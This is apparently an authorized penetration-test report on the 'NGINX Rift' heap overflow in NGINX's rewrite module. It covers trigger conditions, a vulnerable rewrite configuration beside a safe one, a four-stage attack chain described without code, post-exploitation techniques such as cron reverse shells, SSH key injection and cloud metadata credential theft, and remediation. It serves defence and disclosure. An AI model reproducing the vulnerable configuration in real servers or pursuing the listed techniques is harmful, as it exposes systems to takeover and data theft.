CVE-2026-42945

Executive Summary

During an authorized security assessment, we identified that the target web server was running a vulnerable version of NGINX (1.24.0) with a specific rewrite configuration that triggered CVE-2026-42945, commonly known as "NGINX Rift."

This heap buffer overflow in ngx_http_rewrite_module allowed us to achieve arbitrary file write on the server, demonstrating the potential for full remote code execution. The vulnerability was reported and remediated within hours.

Vulnerability Details

CVE-2026-42945, dubbed "NGINX Rift," is a heap buffer overflow in the ngx_http_rewrite_module affecting NGINX Open Source versions 0.6.27 through 1.30.0. The vulnerability was patched in versions 1.30.1+ and 1.31.0+.

Trigger Conditions

All four conditions must be met for exploitation:

1. Running an affected NGINX build (0.6.27 – 1.30.0)
2. Configuration uses unnamed captures ($1, $2, etc.) in a rewrite rule
3. The replacement string contains a query string delimiter (?)
4. A subsequent rewrite, if, or set directive in the same scope references the capture

Vulnerable Configuration Pattern

# VULNERABLE - Do not use this pattern
location ~ ^/metrics/(.*)$ {
    rewrite ^/metrics/(.*)$ /internal?migrated=true;  # ? in replacement = trigger
    set $original_endpoint $1;                        # unnamed capture reused = boom
}

# SAFE - Use named captures instead
location ~ ^/metrics/(?<endpoint>.*)$ {
    rewrite ^/metrics/(?<endpoint>.*)$ /internal?migrated=true;
    set $original_endpoint $endpoint;                 # named capture = safe
}

Attack Chain

The ngixshell.py exploitation followed a four-stage kill chain. Click play to watch the attack unfold:

The Vulnerable Configuration

The target used a rewrite rule with unnamed PCRE captures and a replacement containing ? — exactly the pattern that triggers CVE-2026-42945:

# Vulnerable pattern - unnamed captures + ? replacement
location ~ ^/metrics/(.*)$ {
    rewrite ^/metrics/(.*)$ /internal?migrated=true;  # ? in replacement
    set $original_endpoint $1;                        # unnamed capture reused
}

Exploitation Evidence

The assessment followed a four-stage attack chain, beginning with information disclosure and culminating in remote code execution with data exfiltration capability.

Stage 1: Information Disclosure

An exposed /env endpoint leaked critical version information:

Stage 2: RCE via Heap Overflow

Using the ngixshell.py exploit tool, the heap buffer overflow was triggered to achieve code execution:

Stage 3: File Write Proof

Arbitrary file write was demonstrated by creating a proof file:

Stage 4: Data Exfiltration (Simulated)

To demonstrate full compromise capability, data was exfiltrated to an external webhook:

Impact Assessment

With confirmed RCE on a production web server, an attacker has multiple paths to cause severe damage:

Immediate Threats

• Website Defacement — Modify public-facing content to damage reputation or spread misinformation
• Credential Theft — Extract database credentials, API keys, and session tokens from config files and environment variables
• Data Exfiltration — Steal customer PII, payment data, or proprietary business information

Persistence & Escalation

• Web Shell Installation — Deploy PHP/Python shells for persistent remote access
• Cron Job Backdoors — Schedule reverse shells or data exfiltration scripts
• SSH Key Injection — Add attacker's public key to authorized_keys
• Malware/Cryptomining — Install miners or botnet agents consuming server resources

Lateral Movement

• Internal Service Access — Reach databases, caches, and APIs bound to localhost or internal networks
• Cloud Metadata Exploitation — Query instance metadata endpoints (169.254.169.254) for IAM credentials
• Container Escape Attempts — If containerized, probe for escape vectors to the host

Remediation

If you are running a vulnerable NGINX version, take these actions immediately:

Priority 1: Patch (Do This Now)

1. Update NGINX to 1.30.1+ (stable) or 1.31.0+ (mainline)
2. Verify the patch: nginx -V 2>&1 | grep -o 'nginx/[0-9.]*'
3. Restart NGINX: systemctl restart nginx

Priority 2: Configuration Hardening

1. Replace unnamed captures — Convert $1, $2 to named captures like $endpoint
2. Remove debug endpoints — Block or delete /env, /debug, /status from public access
3. Hide version banners — Add server_tokens off; to nginx.conf

Priority 3: Network Controls

• If using Cloudflare: allowlist only Cloudflare IP ranges at the firewall
• Enable rate limiting on all rewrite-heavy endpoints
• Deploy WAF rules targeting oversized URI paths (4096+ bytes)

If RCE Was Confirmed

1. REBUILD the server from a clean image or known-good backup. Do not trust the existing filesystem.
2. Rotate ALL credentials — database passwords, API keys, SSH keys, service accounts, OAuth secrets
3. Invalidate all sessions — force re-authentication for all users
4. Audit access logs — identify all requests to vulnerable endpoints during the exposure window
5. Notify affected parties — if customer data may have been accessed, trigger your incident response and disclosure procedures

Timeline

• 00:00 — Automated scan detects NGINX 1.24.0 with vulnerable config pattern
• 00:14 — Scanner flags buffer overflow attempt path
• 00:49 — File write confirmed (/tmp/pwned.txt)
• 01:15 — Assessment complete, report drafted
• 02:00 — Asset owner notified via secure channel
• 04:00 — Emergency patch applied, NGINX restarted
• 06:00 — Full credential rotation initiated

Lessons Learned

1. Patch aggressively — CVE-2026-42945 was public. Running 1.24.0 in August 2026 is negligent.
2. Hide version banners — The /env endpoint made fingerprinting trivial.
3. Audit rewrite rules — Unnamed captures with ? replacements are the exact trigger.
4. Defense in depth — WAF didn't block the payload. Don't rely on a single layer.
5. Assume breach — After RCE evidence, rotate everything. Patch alone doesn't restore trust.

Credits

This security assessment was conducted by Animus, an independent security researcher. The vulnerability was identified during an authorized penetration test of a production web server.

CVE-2026-42945 was publicly disclosed by the NGINX security team. The ngixshell.py exploit tool used in this assessment is a proof-of-concept developed by the security research community following responsible disclosure.